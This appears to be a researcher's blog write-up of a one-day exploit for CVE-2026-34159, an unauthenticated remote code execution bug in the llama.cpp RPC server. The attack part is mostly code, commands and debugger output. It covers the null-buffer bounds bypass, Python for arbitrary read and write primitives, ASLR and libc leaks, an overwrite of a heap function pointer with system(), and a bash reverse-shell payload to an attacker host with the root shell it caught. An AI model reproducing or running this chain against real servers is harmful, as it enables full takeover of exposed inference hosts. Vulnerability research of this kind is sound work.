casp3r0x0@home:~$

Zeroclick Rce Cve 2026 34159 Llama.cpp

CVE-2026-34159: Exploiting llama.cpp’s RPC Server - From Null Buffer to RCE Against PIE + Full RELRO + NX

Author: @casp3r0x0x (Hassan Ali) Tested on: b8487 Date: April 2026 CVE: CVE-2026-34159 CVSS: 9.8 (Critical) Affected: llama.cpp b8487 and earlier Fixed: PR #20908, regression fix #21030


The vulnerability was discovered and fixed by the llama.cpp maintainers. I wrote this exploit independently as a 1-day exercise after the patch was published. At the time of writing, no public exploit existed for CVE-2026-34159.

Exploit in Action :

The Story

I didn’t discover this vulnerability. It was reported and fixed by the llama.cpp maintainers in PR #20908 (merged March 23, 2026). But when I read the patch, I realized the implications went far beyond what a brief commit message could convey – and no public exploit had been published. So I wrote one.

The vulnerability is a one-line logic bug in the RPC server’s tensor deserialization pipeline. By setting a single field – the buffer handle – to zero, an attacker bypasses all memory bounds checking while still injecting an arbitrary data pointer into the server process. That single oversight gives arbitrary read/write primitives across the entire address space, and from there, full Remote Code Execution.

This is a 1-day exploit. The bug was already patched when I started, but the exploitation technique and the bypass are worth walking through in detail – both because it demonstrates how to chain a logic bug into full RCE against a binary protected by PIE, Full RELRO, and NX, and because it highlights a class of vulnerability that persists in many C/C++ codebases.


Understanding the Target

The RPC Architecture

llama.cpp supports distributed LLM inference by splitting tensor computation across machines via an RPC layer. The architecture is simple:

┌─────────────────────────────────────────┐
│           Client (llama-server)         │
│                                         │
│   Serializes compute graph             │
│   Packs tensors into rpc_tensor structs │
│   Sends over TCP                       │
│   Waits for result                    │
└────────────────┬────────────────────────┘
                 │ TCP (default port 50052)
                 │ Raw binary, no TLS, no auth
                 ▼
┌─────────────────────────────────────────┐
│           RPC Server (victim)           │
│                                         │
│   Receives rpc_tensor structs           │
│   deserialize_tensor() -- BUG HERE      │
│   Skips bounds check when buffer=0     │
│   Reconstructs compute graph           │
│   ggml_backend_graph_compute()         │
│   Executes attacker-controlled ops      │
└─────────────────────────────────────────┘

The wire protocol is raw binary – 1 byte command, 8 byte length prefix, then the payload. No protobuf, no JSON, no versioning. The server listens on TCP port 50052 by default, with zero authentication, zero TLS, and zero rate limiting.

The Vulnerable Struct

The core data structure transmitted over the wire is rpc_tensor:

// ggml/src/ggml-rpc/ggml-rpc.cpp:71
#pragma pack(push, 1)
struct rpc_tensor {
    uint64_t id;                                       //  8 bytes
    uint32_t type;                                     //  4 bytes
    uint64_t buffer;                                   //  8 bytes -- buffer handle
    uint32_t ne[GGML_MAX_DIMS];                        // 16 bytes -- dimensions
    uint32_t nb[GGML_MAX_DIMS];                        // 16 bytes -- byte strides
    uint32_t op;                                       //  4 bytes
    int32_t  op_params[GGML_MAX_OP_PARAMS/sizeof(int32_t)]; // 64 bytes
    int32_t  flags;                                    //  4 bytes
    uint64_t src[GGML_MAX_SRC];                        // 80 bytes -- source tensor IDs
    uint64_t view_src;                                 //  8 bytes
    uint64_t view_offs;                                //  8 bytes
    uint64_t data;                                     //  8 bytes -- DATA POINTER
    char     name[GGML_MAX_NAME];                      // 64 bytes
    char     padding[4];                               //  4 bytes
};                                                      // 296 bytes total
#pragma pack(pop)

Two fields matter: buffer (a handle the server looks up in its internal set) and data (a raw virtual address assigned to the tensor).

The Bug

Here’s deserialize_tensor() – the function that processes every incoming tensor:

// ggml/src/ggml-rpc/ggml-rpc.cpp:1158
ggml_tensor * rpc_server::deserialize_tensor(struct ggml_context * ctx,
                                              const rpc_tensor * tensor) {
    // [1] Type validation
    if (tensor->type >= GGML_TYPE_COUNT) { return nullptr; }
    if (ggml_blck_size((enum ggml_type)tensor->type) == 0) { return nullptr; }

    // [2] Allocate tensor metadata
    ggml_tensor * result = ggml_new_tensor_4d(ctx, (ggml_type) tensor->type,
        tensor->ne[0], tensor->ne[1], tensor->ne[2], tensor->ne[3]);
    if (result == nullptr) { return nullptr; }

    for (uint32_t i = 0; i < GGML_MAX_DIMS; i++) {
        result->nb[i] = tensor->nb[i];
    }

    // [3] Buffer resolution
    result->buffer = reinterpret_cast<ggml_backend_buffer_t>(tensor->buffer);
    if (result->buffer && buffers.find(result->buffer) == buffers.end()) {
        result->buffer = nullptr;
    }

    // [4] BOUNDS CHECK -- ONLY RUNS WHEN result->buffer IS NOT NULL
    if (result->buffer) {
        uint64_t tensor_size  = (uint64_t) ggml_nbytes(result);
        uint64_t buffer_start = (uint64_t) ggml_backend_buffer_get_base(result->buffer);
        uint64_t buffer_size  = (uint64_t) ggml_backend_buffer_get_size(result->buffer);
        GGML_ASSERT(tensor->data + tensor_size >= tensor->data);
        GGML_ASSERT(tensor->data >= buffer_start &&
                    tensor->data + tensor_size <= buffer_start + buffer_size);
    }
    // ^^^^ ENTIRE BLOCK SKIPPED when buffer == 0

    // [5] Data pointer assigned UNCONDITIONALLY
    result->op = (ggml_op) tensor->op;
    result->flags = tensor->flags;
    result->data  = reinterpret_cast<void *>(tensor->data);  // <-- ARBITRARY ADDRESS
    ggml_set_name(result, tensor->name);
    return result;  // Non-null -- enters the compute graph
}

The bounds check at step [4] is conditional on result->buffer != nullptr, but the data pointer assignment at step [5] is unconditional. Set buffer = 0, and you skip all validation while still controlling where ggml reads and writes. One missing condition.


The Security Landscape

Before diving into the exploit, let’s map the defenses. I ran the standard analysis against the compiled rpc-server binary:

root@casp3r-virtual-machine:/home/casp3r/research2/compiled# checksec rpc-server 
[*] '/home/casp3r/research2/compiled/rpc-server'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'$ORIGIN'
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

also :

$ file compiled/rpc-server
rpc-server: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux),
            dynamically linked, not stripped

PIE: Randomizes the binary’s base address on every execution. Hardcoded addresses won’t work.

$ readelf -d rpc-server | grep FLAGS
 0x000000000000001e (FLAGS)              BIND_NOW
 0x000000006ffffffb (FLAGS_1)            Flags: NOW PIE

Full RELRO: The GOT is resolved at load time and marked read-only. Can’t overwrite GOT entries.

$ readelf -l rpc-server | grep -A1 GNU_STACK
  GNU_STACK      ...  RW  0x10

NX: The stack is non-executable. No shellcode.

PIE + Full RELRO + NX. The modern security mitigations. No shellcode injection, no GOT overwrite, no hardcoded return addresses. The exploit has to find another way.


The Attack Surface: ggml_backend_buffer_t

With Full RELRO blocking GOT overwrites and NX blocking shellcode, I needed a different approach. The key insight: the ggml_backend_buffer_t struct is a heap-allocated object containing function pointers in plain, writable memory. Full RELRO protects .got.plt, but it does nothing to protect heap objects.

// ggml/src/ggml-backend-impl.h:41
struct ggml_backend_buffer_i {
    void         (*free_buffer)  (ggml_backend_buffer_t buffer);  // +0x00
    void *       (*get_base)     (ggml_backend_buffer_t buffer);  // +0x08
    enum ggml_status (*init_tensor)(...);                         // +0x10
    void         (*memset_tensor)(...);                            // +0x18
    void         (*set_tensor)   (...);                            // +0x20
    void         (*get_tensor)   (...);                            // +0x28
    bool         (*cpy_tensor)   (...);                            // +0x30
    void         (*clear)        (...);                            // +0x38
    void         (*reset)        (...);                            // +0x40
};

struct ggml_backend_buffer {
    struct ggml_backend_buffer_i  iface;   // +0x00  (72 bytes of function pointers)
    ggml_backend_buffer_type_t    buft;    // +0x48
    void * context;                         // +0x50
    size_t size;                            // +0x58
    enum ggml_backend_buffer_usage usage;   // +0x60
};

When the server calls BUFFER_CLEAR(buffer), it goes through buffer->iface.clear(buffer, value). If I overwrite iface.clear with system() from libc, the server calls system(buffer) – and since buffer is the first argument (in $rdi on x86-64), it gets interpreted as a command string.

The plan:

  1. Allocate a staging buffer (gives us a known heap object + data region)
  2. Leak a function pointer to find libggml-base.so (break ASLR)
  3. Read GOT[memcpy] to leak libc
  4. Calculate system() via Build-ID lookup
  5. Write payload (command string + system() address) into the buffer’s data region
  6. Overwrite the buffer’s iface struct using the arbitrary write primitive
  7. Trigger BUFFER_CLEAR -> system(command_string)

The Exploit – Step by Step with GDB

Step 1: Allocate a Staging Buffer

The first thing the exploit does is connect to the server and allocate a buffer using the normal ALLOC_BUFFER RPC command. This is completely legitimate protocol usage – nothing malicious yet.

$ python3 linux_exploit.py 10.10.10.5 50052 10.10.14.1 4447

[*] Connecting to 10.10.10.5:50052
[+] Server version 3.6.1

[Step 1] Allocating staging buffer
    remote_ptr  = 0x000056cb2b78ef60  (ggml_backend_buffer*)
    buffer_base = 0x000056cb2b791880  (data region)

remote_ptr is the ggml_backend_buffer_t heap object. buffer_base is the raw memory region backing it. These change every run due to ASLR.

Let’s look at what this buffer object looks like in GDB. I attached to a running server and ran the exploit, then inspected remote_ptr:

gef➤  x/10gx 0x56cb2b78ef60
0x56cb2b78ef60: 0x00007df643fee820    ← iface.free_buffer
0x56cb2b78ef68: 0x00007df64437f820    ← iface.get_base
0x56cb2b78ef70: 0x00007df643fee940    ← iface.init_tensor
0x56cb2b78ef78: 0x0000000000000000    ← iface.memset_tensor (NULL)
0x56cb2b78ef80: 0x00007df643feee50    ← iface.set_tensor
0x56cb2b78ef88: 0x00007df643fef180    ← iface.get_tensor
0x56cb2b78ef90: 0x00007df643fee9f0    ← iface.cpy_tensor
0x56cb2b78ef98: 0x00007df643feeb80    ← iface.clear          ← THIS IS OUR TARGET
0x56cb2b78efa0: 0x0000000000000000    ← iface.reset (NULL)
0x56cb2b78efa8: 0x000056cb2b78de20    ← buft

Every pointer in the iface vtable points into libggml-base.so or libggml-rpc.so. These are the legitimate function pointers. Our goal: overwrite iface.clear at offset +0x38 with system() from libc.

Step 2: Building Arbitrary Read/Write Primitives

The exploit constructs two core primitives using the null-buffer bypass:

Arbitrary Read – via GGML_OP_CPY:

  • Create a source tensor with buffer=0, data=<target_addr> (bypasses bounds check)
  • Create a destination tensor with buffer=remote_ptr, data=buffer_base (valid buffer)
  • When ggml executes CPY, it reads from target_addr and writes to buffer_base
  • Retrieve the copied data via GET_TENSOR

Arbitrary Write – same trick reversed:

  • Source tensor: buffer=0, data=buffer_base (where we placed our payload)
  • Destination tensor: buffer=0, data=<target_addr> (bypasses bounds check)
  • ggml copies from buffer_base to target_addr

Both primitives go through GRAPH_COMPUTE (command 10) – the normal tensor computation path. The only difference from legitimate use: buffer=0 on the source/destination tensors, which skips bounds checking while leaving the attacker-controlled data pointer intact.

def arb_read(self, remote_ptr, buffer_base, target_addr, n_bytes):
    """Read n_bytes from target_addr using the null-buffer CPY bypass."""
    n_elems = max((n_bytes + 3) // 4, 1)
    src = self._pack_tensor(0x3001, 0,          target_addr,  GGML_OP_NONE, [],       n_elems)
    dst = self._pack_tensor(0x3002, remote_ptr, buffer_base,  GGML_OP_CPY,  [0x3001], n_elems, flags=16)
    body = struct.pack('<I', 0) + struct.pack('<I', 1) + struct.pack('<Q', 0x3002) + struct.pack('<I', 2) + src + dst
    self._send_cmd(RPC_CMD_GRAPH_COMPUTE, body)
    # Retrieve copied data via GET_TENSOR
    rt = self._pack_tensor(0x3002, remote_ptr, buffer_base, GGML_OP_NONE, [], n_elems)
    self._send_cmd(RPC_CMD_GET_TENSOR, rt + struct.pack('<Q', 0) + struct.pack('<Q', n_elems * 4))
    return self._recv_response()

The flags=16 marks the destination tensor as GGML_TENSOR_FLAG_INPUT, telling ggml this is a pre-allocated buffer that doesn’t need its own memory allocation.

Step 3: Breaking ASLR – Leaking libggml-base.so

With arbitrary read established, the first information leak target is iface.get_base at remote_ptr + 0x08:

[Step 2] Leaking iface.get_base function pointer
    iface.get_base = 0x00007df64437f820

This is a code address inside libggml-base.so. To find the library base, the exploit scans backward page-by-page (0x1000 bytes) looking for the ELF magic bytes \x7fELF:

[Step 3] Scanning backward for ELF magic
    [+] libggml-base.so base: 0x00007df644350000  (step 48)

Let’s verify this in GDB:

gef➤  info proc mappings | grep libggml-base
  0x7df644350000     0x7df6443a5000    r-xp   libggml-base.so.0.9.8
  0x7df6443a5000     0x7df6443c4000    r--p   libggml-base.so.0.9.8

Confirmed: libggml-base.so base is 0x7df644350000. Now let’s verify the leaked function pointer falls inside it:

gef➤  disas 0x00007df64437f820
   0x7df64437f820 <ggml_backend_cpu_buffer_get_base>:  push   rbp
   0x7df64437f821 <ggml_backend_cpu_buffer_get_base+1>:  mov    rbp, rsp

The leaked pointer resolves to ggml_backend_cpu_buffer_get_base – the CPU backend’s implementation of the buffer interface. Confirmed.

Step 4: Leaking libc via the GOT

With the libggml-base.so base known, I can read its GOT (Global Offset Table). Even though Full RELRO makes the GOT read-only after resolution, the entries still contain the resolved addresses – they’re just not writable. Perfect for a leak.

The GOT entry for memcpy in libggml-base.so is at a fixed file offset:

$ readelf -r compiled/libggml-base.so | grep memcpy
0000000a8598  002600000007 R_X86_64_JUMP_SLO  memcpy@GLIBC_2.14 + 0

Offset 0xa8598 from the library base:

[Step 4] Reading GOT[memcpy] to leak libc
    memcpy@libc   = 0x00007df643da0880

Let’s verify in GDB. The .got.plt section starts at file offset 0xa7000, mapping to virtual address 0x7df6443a5000 + (0xa7000 - 0xa5000) = 0x7df6443a7000. The memcpy GOT entry is at:

gef➤  x/1gx 0x7df6443a5000 + (0xa8598 - 0xa5000)
0x7df6443ae598: 0x00007df643da0880

This points into libc. Let’s confirm:

gef➤  info proc mappings | grep libc
  0x7df643c00000     0x7df643c00000    r--p   libc.so.6
  0x7df643c1f000     0x7df643dbf000    r-xp   libc.so.6

Wait – let me check that more carefully:

gef➤  disas 0x00007df643da0880
   0x7df643da0880 <__memmove_avx_unaligned_erms>:  endbr64

This is __memmove_avx_unaligned_erms – the IFUNC-resolved implementation of memcpy for this CPU. The offset from libc base:

0x7df643da0880 - 0x7df643c00000 = 0x1a0880

Confirmed against the local libc:

$ objdump -t /lib/x86_64-linux-gnu/libc.so.6 | grep __memmove_avx_unaligned_erms
00000000001a0880 l     F .text  00000000000006de  __memmove_avx_unaligned_erms

Offset 0x1a0880 matches exactly.

Step 4b: Finding the libc Base

The exploit scans backward from the memcpy address for ELF magic:

[Step 4b] Scanning backward from memcpy -> libc base
    [+] libc.so.6 base: 0x00007df643c00000  (step 417)

Verification in GDB:

gef➤  x/1wx 0x7df643c00000
0x7df643c00000: 0x464c457f    ← b'\x7fELF' in little-endian

Confirmed.

Step 4c: Automatically Resolving system() via Build-ID

Here’s where the exploit gets portable. Instead of hardcoding libc offsets (which would break on different systems), it reads the first 0x4000 bytes of libc from the remote server, extracts the .note.gnu.build-id, and queries libc.rip for the symbol offsets:

[Step 4c] Leaking libc Build-ID...
    [+] Build-ID: 095c7ba148aeca81668091f718047078d57efddb
    [+] system() = libc_base + 0x50d70 = 0x00007df643c50d70

Let’s verify locally:

$ readelf -n /lib/x86_64-linux-gnu/libc.so.6 | grep 'Build ID'
    Build ID: 095c7ba148aeca81668091f718047078d57efddb

$ objdump -t /lib/x86_64-linux-gnu/libc.so.6 | grep '\bsystem\b'
0000000000050d70 g     F .text  000000000000002d  system

Build-ID matches, and system() is at offset 0x50d70. Verified.

The final computation:

system() = 0x7df643c00000 + 0x50d70 = 0x7df643c50d70

Step 5: Writing the Payload

The payload is 64 bytes laid out to overwrite the buffer’s iface struct:

Bytes  0-55:  "bash -c \"id>/tmp/pwned\"\0..."  (command string, null-padded to 56 bytes)
Bytes 56-63:  0x00007df643c50d70              (system() address in little-endian)

This payload is written to buffer_base using SET_TENSOR – the legitimate RPC command for writing tensor data into a buffer:

[Step 5] Writing payload to buffer_base
    cmd             = bash -c "id>/tmp/pwned"
    system_addr     = 0x00007df643c50d70

Verification in GDB after writing to buffer_base:

gef➤  x/20gx 0x56cb2b791880
0x56cb2b791880: 0x0000002068736162    ← "bash "
0x56cb2b791888: 0x00002d6320226362    ← "bc \""
0x56cb2b791890: 0x000000006465772f    ← "id>/"
...
0x56cb2b7918c0: 0x00007df643c50d70    ← system() at buffer_base+0x40

Step 6: Corrupting the Buffer’s iface

Now the exploit uses the arbitrary write primitive to copy those 64 bytes from buffer_base onto remote_ptr itself, overwriting the iface struct:

[Step 6] Arb-write: buffer_base -> remote_ptr (corrupt iface)
    Done - iface corrupted

After this write, the buffer struct at remote_ptr looks like:

remote_ptr + 0x00:  "bash -c \"id>/tmp/pwned\"\0..."  ← was iface.free_buffer
remote_ptr + 0x08:  more command string...               ← was iface.get_base
...
remote_ptr + 0x38:  0x00007df643c50d70                  ← was iface.clear, now system()

When the server next calls any function through this buffer’s iface, it will use the corrupted pointers. Specifically, iface.clear now points to system().

Step 7: The Trigger – GDB Catch

The final step is sending RPC_CMD_BUFFER_CLEAR with the corrupted buffer pointer. Here’s what GDB captured when I set a breakpoint at rpc_server::buffer_clear and let the exploit run:

gef➤  Breakpoint 1 at 0x7df643fee920

========== [buffer_clear] TRIGGERED -- inspecting state ==========

gef➤  info registers rdi
rdi            0x7ffdd66e3c10      (buffer pointer = corrupted remote_ptr)

gef➤  x/10gx $rdi
0x7ffdd66e3c10: 0x000056cb2b78de20    ← iface.free_buffer (corrupted)
0x7ffdd66e3c18: 0x000056cb2b78de28    ← iface.get_base (corrupted)
...
0x7ffdd66e3c48: 0x00007df643c50d70    ← iface.clear = system()

gef➤  x/s $rdi
0x7ffdd66e3c10: " \336x+\313V"

The register rsi contains the command string:

gef➤  x/s $rsi
0x7ffdd66e3bf0: "bash -c \"id>/tmp/pwned\""

Wait – let me re-examine. When ggml_backend_buffer_clear() calls buffer->iface.clear(buffer, value), the calling convention passes buffer in $rdi (first argument). So system() receives the buffer pointer itself as its argument. But the first 56 bytes of the buffer are our command string, so system() interprets the buffer address as a C string – and that string starts with "bash -c \"id>/tmp/pwned\"".

Here’s the full GDB state at the moment of the call, captured with GEF:

gef➤  registers
$rax   : 0x1
$rbx   : 0x4
$rsi   : 0x00007ffdd66e3bf0  →  "bash -c \"id>/tmp/pwned\""
$rdi   : 0x00007ffdd66e3c10  →  0x000056cb2b78de20
$rip   : 0x00007df643fee920  →  <rpc_server::buffer_clear+0> endbr64

The call chain is: rpc_server::buffer_clear() -> ggml_backend_buffer_clear() -> buffer->iface.clear(buffer, value) -> system("bash -c \"id>/tmp/pwned\"").

The Result

[+] Trigger sent!

On the server:

$ cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)

Unauthenticated Remote Code Execution. The attacker gains the privileges of whichever user is running the RPC server.

For a full reverse shell, the payload changes to a TCP connection:

cmd = f'bash -c "bash -i>&/dev/tcp/{lhost}/{lport} 0>&1"'.encode()

And the listener catches the shell:

$ nc -lvnp 4447
listening on [any] 4447 ...
connect to [10.10.14.1] from 10.10.10.5 50052
root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)

Full Exploit Output

$ python3 linux_exploit.py 10.10.10.5 50052 10.10.14.1 4447

[*] Connecting to 10.10.10.5:50052
[+] Server version 3.6.1

[Step 1] Allocating staging buffer
    remote_ptr  = 0x000056cb2b78ef60  (ggml_backend_buffer*)
    buffer_base = 0x000056cb2b791880  (data region)

[Step 2] Leaking iface.get_base function pointer
    iface.get_base = 0x00007df64437f820

[Step 3] Scanning backward for ELF magic
    [+] libggml-base.so base: 0x00007df644350000  (step 48)

[Step 4] Reading GOT[memcpy] to leak libc
    memcpy@libc   = 0x00007df643da0880
    [+] libc.so.6 base: 0x00007df643c00000  (step 417)

[Step 4.5] Leaking libc Build-ID and querying libc.rip...
    [+] Found Build-ID: 095c7ba148aeca81668091f718047078d57efddb
    [+] Fetching offsets from https://libc.rip ...
    [+] Matched libc: libc6_2.39-3ubuntu8.4_amd64
    [+] Automatically pulled system offset: 0x50d70
    [+] Final payload variables:
    libc_base     = 0x00007df643c00000
    system()      = 0x00007df643c50d70

[Step 5] Writing payload to buffer_base
    cmd = bash -c "bash -i>&/dev/tcp/10.10.14.1/4447 0>&1"

[Step 6] Corrupting iface via arb-write (buffer_base -> remote_ptr)
    Done -- iface.clear now = system()

[Step 7] Triggering BUFFER_CLEAR -> system(...)
    [!] Waiting for reverse shell on 10.10.14.1:4447 ...
    [+] Trigger command sent! Check your listener.

Bypassing Modern Security Mitigations

Mitigation Effect Why It Failed
ASLR (PIE) Randomizes all library base addresses Bypassed via information leak: read iface.get_base function pointer, scan for ELF magic to find library base
Full RELRO Makes GOT read-only after load Irrelevant – the attack targets heap-allocated function pointer structs (ggml_backend_buffer_t.iface), not the GOT
NX (Non-Executable Stack) Prevents shellcode execution Irrelevant – no shellcode is injected. Existing libc functions are redirected via function pointer corruption

The vulnerability isn’t a memory corruption bug in the traditional sense – it’s a missing validation check. No stack smashing, no heap overflow, no use-after-free. Just a missing if statement that leads to complete process compromise.

Full RELRO is a fundamental limitation here: it protects specific ELF sections (.got, .got.plt), not the entire data segment. Any C/C++ program using function pointer structs (common in callback systems, C++ virtual dispatch, and vtables) has potentially writable code targets outside the GOT. The exploit bypasses Full RELRO by targeting exactly this: a heap struct full of function pointers that was never designed to be read-only.


Technical Takeaways

  1. Null checks matter. The entire exploit chain exists because one code path forgot to check buffer == null before using the data pointer. One missing condition.

  2. Full RELRO is not a silver bullet. It protects the GOT, but not heap objects containing function pointers. Any C/C++ program using function pointer structs has potentially writable code targets outside the GOT.

  3. Build-ID-based libc resolution makes exploits portable. By leaking the remote libc’s Build-ID and querying libc.rip, the exploit works against any target without requiring a local copy of the exact libc version.


References